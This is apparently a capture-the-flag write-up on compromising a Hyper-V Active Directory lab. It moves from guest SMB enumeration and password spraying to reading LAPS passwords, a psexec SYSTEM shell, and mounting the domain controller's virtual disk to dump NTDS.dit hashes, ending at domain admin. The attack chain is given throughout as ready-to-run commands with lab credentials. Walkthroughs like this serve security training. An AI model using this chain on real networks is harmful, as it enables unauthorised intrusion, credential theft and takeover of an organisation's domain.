Initial Scanning
The nmap scan against [Link] revealed five open TCP ports, all associated with
common Windows services. Port 135 is open for Microsoft RPC (msrpc), which is used for inter-
process communication on Windows systems. Ports 139 and 445 are open for NetBIOS and
SMB, enabling file and printer sharing over the network. Port 2179 is open and typically used
for VM Remote Desktop Protocol (VMRDP), allowing remote desktop access to virtual
machines. Finally, port 5985 is open for Windows Remote Management (WinRM) over HTTP,
which is commonly used for remote PowerShell access. The MAC address indicates the host is
running in a VMware virtualized environment.
nmap [Link]
Starting Nmap 7.95 ( [Link] ) at 2025-08-07 20:45 EDT
Nmap scan report for [Link]
Host is up (0.00080s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2179/tcp open vmrdp
5985/tcp open wsman
MAC Address: [Link] (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds
SMB - 445
I’ll try to authenticate with a guest account or junk account to see if there’s any anonymous
SMB access.
┌──(kali㉿kali)-[~/Desktop]
└─$ netexec smb [Link] --shares
SMB [Link] 445 WIN-3VK0UIJ1AC1 [*] Windows 10 / Server
2016 Build 14393 x64 (name:WIN-3VK0UIJ1AC1) (domain:[Link])
(signing:True) (SMBv1:True)
SMB [Link] 445 WIN-3VK0UIJ1AC1 [-] Error enumerating
shares: [Errno 32] Broken pipe
┌──(kali㉿kali)-[~/Desktop]
└─$ netexec smb [Link] -u 's' -p '' --shares
SMB [Link] 445 WIN-3VK0UIJ1AC1 [*] Windows 10 / Server
2016 Build 14393 x64 (name:WIN-3VK0UIJ1AC1) (domain:[Link])
(signing:True) (SMBv1:True)
SMB [Link] 445 WIN-3VK0UIJ1AC1 [+] [Link]\s:
(Guest)
SMB [Link] 445 WIN-3VK0UIJ1AC1 [*] Enumerated shares
SMB [Link] 445 WIN-3VK0UIJ1AC1 Share
Permissions Remark
SMB [Link] 445 WIN-3VK0UIJ1AC1 ----- ----------
- ------
SMB [Link] 445 WIN-3VK0UIJ1AC1 ADMIN$
Remote Admin
SMB [Link] 445 WIN-3VK0UIJ1AC1 C$
Default share
SMB [Link] 445 WIN-3VK0UIJ1AC1 dadx READ
SMB [Link] 445 WIN-3VK0UIJ1AC1 E$
Default share
SMB [Link] 445 WIN-3VK0UIJ1AC1 IPC$ READ
Remote IPC
SMB [Link] 445 WIN-3VK0UIJ1AC1 Users READ
┌──(kali㉿kali)-[~/Desktop]
Using Module "spider_plus"allows you to list and dump all files from all readable share
List all readable files
netexec smb [Link] -u 's' -p '' -M spider_plus
Using the option -o DOWNLOAD_FLAG=True all files will be copied on the host
netexec smb [Link] -u 's' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
Since we have a list of valid usernames, the next logical step during the enumeration phase is
to perform two common attacks against Active Directory: AS-REP Roasting and Password
Spraying. First, AS-REP Roasting was carried out using the [Link] tool from the
Impacket suite to identify any user accounts that do not require pre-authentication
(DONTREQPREAUTH). If such accounts exist, it is possible to request an AS-REP (TGT)
without providing a password. The resulting Kerberos ticket hash can then be cracked offline
using tools like Hashcat or John the Ripper to recover the user's password. Following that, a
Password Spraying attack was conducted by testing a few commonly used or weak passwords
(e.g., P@ssw0rd, Welcome123) across all usernames in the list. This method helps avoid
account lockouts while increasing the chances of discovering valid credentials. These
techniques are effective for identifying weak configurations and gaining initial access in Active
Directory environments.
let's try to AS-REP Roasting :
impacket-GetNPUsers [Link]/ -usersfile [Link] -no-pass -dc-ip [Link]
Now let's try Password Spraying :
netexec smb [Link] -u [Link] -p 'P@ssw0rd'
During the password spraying phase, we discovered valid credentials for the domain user
nemo. Authentication attempts using common or weak passwords revealed that the account
was using a guessable password, indicating poor password hygiene. However, further analysis
showed that the nemo user does not hold local administrative privileges on the target system.
After obtaining valid credentials for the domain user nemo via password spraying, we attempted
to gain access to target systems. However, the account lacked local administrative privileges,
preventing us from performing direct login or privileged actions. As a next step, we leveraged
these credentials to enumerate the Active Directory environment using BloodHound
```bloodhound-python -c ALL -u nemo -p 'P@ssw0rd' -d [Link] -dc
[Link] -ns [Link]```
After conducting enumeration on the Active Directory environment, we discovered that the user
nemo has the ability to read the LAPS (Local Administrator Password Solution) attributes for the
organizational unit:
OU=servers,DC=HYPER-V,DC=local
Using ldapsearch, we queried the LDAP directory and were able to retrieve the ms-Mcs-
AdmPwd attribute, which stores the cleartext local administrator password managed by LAPS.
ldapsearch -LLL -H ldap://[Link] -D "nemo" -w "P@ssw0rd" -b
"OU=servers,DC=HYPER-V,DC=local" ms-MCS-AdmPwd
This resulted in successful extraction of the local administrator password for one servers in that
OU.
After extracting the local administrator password via LAPS (ms-Mcs-AdmPwd), we attempted to
validate the credentials against the target machine using netexec with the --local-auth flag:
nxc smb [Link] -u Administrator -p '8MLFo0EP35V08' --local-auth
However, the authentication attempt failed, indicating that the local administrator account name
on the target machine may have been renamed. This is a common defensive technique to
prevent the exploitation of LAPS credentials using the default "Administrator" username.
To confirm the actual username managed by LAPS, we mounted the SYSVOL share and
reviewed the contents of the relevant Group Policy:
mkdir /mnt/hyper-v_sysvol
sudo mount -t cifs -o username=nemo,password='P@ssw0rd',domain=[Link] \
//[Link]/SysVol /mnt/hyper-v_sysvol
cd /mnt/hyper-v_sysvol/[Link]/Policies/{2EFBBB02-62D9-48F4-A370-
3A0E3AB92BE1}/Machine
from my windwos machine:
Import-Module .\GPRegistryPolicyParser.psd1
Parse-PolFile .\[Link]
Upon reviewing the GPO configuration inside the SYSVOL share, we identified that the LAPS-
managed local administrator account was renamed to lapsadmin.
This explains why our previous login attempts using the default Administrator username failed.
If the credentials are valid, this would result in successful authentication, granting us local
administrator access to the target machine which could be leveraged for privilege escalation or
lateral movement within the domain.
We then attempted to authenticate using the dumped LAPS password, this time with the correct
local username:
netexec smb [Link] -u lapsadmin -p 8MLFo0EP35V08 --local-auth
After confirming that the credentials for lapsadmin are valid and have local administrator
privileges on the target machine ([Link]), we proceeded to gain remote code
execution using impacket-psexec.
impacket-psexec lapsadmin:8MLFo0EP35V08@[Link]
This granted us an interactive SYSTEM shell on the target machine, confirming full local
administrative access.
After successfully authenticating with the LAPS-managed local administrator account
(lapsadmin) and gaining a remote SYSTEM shell on the target machine via impacket-psexec,
we had full control over the host.
This level of access allowed us to navigate the file system and search for sensitive data, such
as flags or tokens commonly placed in CTF-style environments.
We located the first flag, typically found in locations like:
c:\Users\Administrator\Desktop\[Link]
Successfully obtained the first flag on the compromised machine.
ASCWG{good_lets_try_and_deeb_dive_to_comprmized_domain_elhadadx}
After gaining SYSTEM privileges on the target machine using the lapsadmin account we
attempted to extract stored credentials for privilege escalation and lateral movement.
We attempted to dump the LSASS process memory to extract plaintext passwords and
Kerberos tickets. However, the attempt failed.
This is likely due to LSA Protection (RunAsPPL) being enabled on the system, which prevents
tools (even running as SYSTEM) from accessing [Link] unless they are signed and trusted.
LSA Protection is a security feature designed to prevent credential theft by restricting access to
LSASS memory.
While enumerating the target, I noticed that the Domain name HYPER-V, which hinted that the
machine might be running Hyper-V. This clue led me to investigate whether virtualization
services were available or in use. I executed the PowerShell command Get-VM, which
confirmed that the system was indeed hosting virtual machines.
The output showed two running VMs:
VAULT-DB with 1024 MB of memory assigned
vault-dc with 872 MB of memory assigned
Both virtual machines were in a running state, which indicated that the host machine was acting
as a Hyper-V hypervisor. This information could be useful in further lateral movement or
privilege escalation strategies, especially if I could gain access to the virtualized domain
controller.
Then, I ran the following command to retrieve the disk path of the domain controller's virtual
hard disk:
Get-VMHardDiskDrive -VMName vault-dc |select path
Path
----
C:\Users\Public\Documents\Hyper-V\Virtual hard disks\vault-dc\vault-dc\Virtual
Hard Disks\[Link]
OR using netexec
nxc smb [Link] -u lapsadmin -p '8MLFo0EP35V08' --local-auth -x
'powershell -c "Get-VMHardDiskDrive -VMName vault-dc | Select-Object -
ExpandProperty Path"'
This gave me the exact location of the .vhdx file, which could later be mounted or extracted for
offline secrets, hashes, or registry hive analysis.
Great , now that you've forcefully stopped the vault-dc VM and mounted its virtual hard disk
using:
Stop-VM vault-dc -Force
Mount-VHD 'C:\Users\Public\Documents\Hyper-V\Virtual hard disks\vault-
dc\vault-dc\Virtual Hard Disks\[Link]' -Verbose
nxc smb [Link] -u lapsadmin -p '8MLFo0EP35V08' --local-auth -x
'powershell -c "Mount-VHD \"C:\\Users\\Public\\Documents\\Hyper-V\\Virtual
hard disks\\vault-dc\\vault-dc\\Virtual Hard Disks\\[Link]\" -Verbose"'
We executed the following command using the nxc tool over SMB to enumerate the mounted
drives on the target system:
nxc smb [Link] -u lapsadmin -p '8MLFo0EP35V08' --local-auth -x
'powershell -c "Get-PSDrive -PSProvider FileSystem"'
The goal of this command was to identify all mounted volumes (drives) on the target by
remotely executing a PowerShell command that lists drives associated with the FileSystem
provider. This helps locate potential paths where virtual disks (e.g., .vhdx files) might be
mounted or stored.
This information was useful for identifying the available storage locations and narrowing down
where specific files (such as mounted VHDs or sensitive data) might reside.
Loading DSInternals and Extracting the BootKey
To prepare for extracting secrets from the offline [Link] file, we used the DSInternals
PowerShell module, which provides tools for parsing Active Directory databases and registry
hives.
Step 1: Import DSInternals Module
We imported the DSInternals module locally from the extracted directory:
Import-Module .\DSInternals_v4.7\DSInternals\DSInternals.psd1
This gives access to various AD-related cmdlets such as Get-BootKey, Get-ADDBAccount, and
others.
Step 2: Extract the BootKey from the SYSTEM Hive
Using DSInternals, we extracted the BootKey from the offline SYSTEM registry hive located on
the mounted disk:
$key = Get-BootKey -SystemHivePath F:\Windows\System32\Config\SYSTEM
the BootKey is required to decrypt password hashes and secrets stored in the [Link]
database.
In this case, the F: drive is the mounted volume of the domain controller’s virtual disk (VHDX),
which was previously mounted using Mount-VHD.
These steps are essential in the process of offline extraction of NTLM password hashes from
the Active Directory database.
Extracting Active Directory Accounts from Offline
[Link]
After retrieving the BootKey from the offline SYSTEM hive, we proceeded to extract Active
Directory user account data from the [Link] file using the DSInternals PowerShell module.
Extract AD User Accounts:
Get-ADDBAccount -All -DBPath 'F:\Windows\NTDS\[Link]' -BootKey $key
This command uses the BootKey to decrypt and parse the offline Active Directory database
([Link]) located on the mounted F: drive.
Discovered User Account: VAULTDBADMIN
One of the accounts retrieved during the dump was a high-privilege user:
UserPrincipalName: VAULTDBADMIN@[Link]
AdminCount: True (indicates membership in a protected group such as Domain Admins)
Description: moramadadnN1
Cleanup and Restarting the Domain Controller VM
After extracting the required data (e.g., [Link] and SYSTEM hive) from the mounted virtual
hard disk, we proceeded with clean-up and restoration of the virtual environment.
Dismount the VHD:
We dismounted the virtual hard disk to safely detach it from the host system:
Dismount-VHD 'C:\Users\Public\Documents\Hyper-V\Virtual hard disks\vault-dc\vault-dc\Virtual
Hard Disks\[Link]' -Verbose
After dismounting, we restarted the domain controller virtual machine:
Start-VM vault-dc
This brought the VM back online after the offline analysis was completed.
Remote Command Execution via PowerShell
Remoting into a Hyper-V VM
After identifying valid domain admin credentials (VAULTDBADMIN) during the offline [Link]
extraction, we attempted to verify access by executing a command on the VAULT-DB virtual
machine using PowerShell Remoting.
Create Credential Object and Execute Command
$password = ConvertTo-SecureString 'moramadadnN1' -AsPlainText -Force
$credential = New-Object [Link]
('VAULT\VAULTDBADMIN', $password)
Invoke-Command -ScriptBlock { whoami } -VMName VAULT-DB -Credential
$credential
Verifying Access and Locating Sensitive Files
After successfully authenticating as VAULT\VAULTDBADMIN using the recovered credentials,
we used PowerShell Direct to interact with the target VM VAULT-DB.
Invoke-Command -ScriptBlock { whoami } -VMName VAULT-DB -Credential $credential
Result:
vault\vaultdbadmin
This confirmed that the credentials provided us with access as the intended privileged user
inside the VM.
Check User's Desktop for Sensitive Files
We then inspected the contents of the vaultdbadmin user's Desktop:
Invoke-Command -ScriptBlock { ls C:\Users\vaultdbadmin\Desktop } -VMName VAULT-DB -
Credential $credential
A file named [Link] was found on the Desktop.
After identifying the file [Link] on the desktop of the VAULTDBADMIN user in the VAULT-DB
VM, we accessed and read its contents using PowerShell Direct:
This file contained a hardcoded PowerShell credential creation snippet for the account:
HYPER-V\sadcoder with the password igCyt87rYSwDi9e .
Credential Validation and Domain Admin Confirmation
Using the extracted credentials for user HYPER-V\sadcoder (igCyt87rYSwDi9e), we tested
authentication and command execution on the domain controller ([Link]) via SMB and
WMI using nxc:
nxc smb [Link] -u sadcoder -p 'igCyt87rYSwDi9e'
This successfully authenticated with the domain controller, confirming valid credentials.
Further, we executed the whoami command remotely:
nxc smb [Link] -u sadcoder -p 'igCyt87rYSwDi9e' -X whoami
Domain admin flag
nxc smb [Link] -u sadcoder -p 'igCyt87rYSwDi9e' -X 'cat
C:\Users\Administrator\Desktop\[Link]'
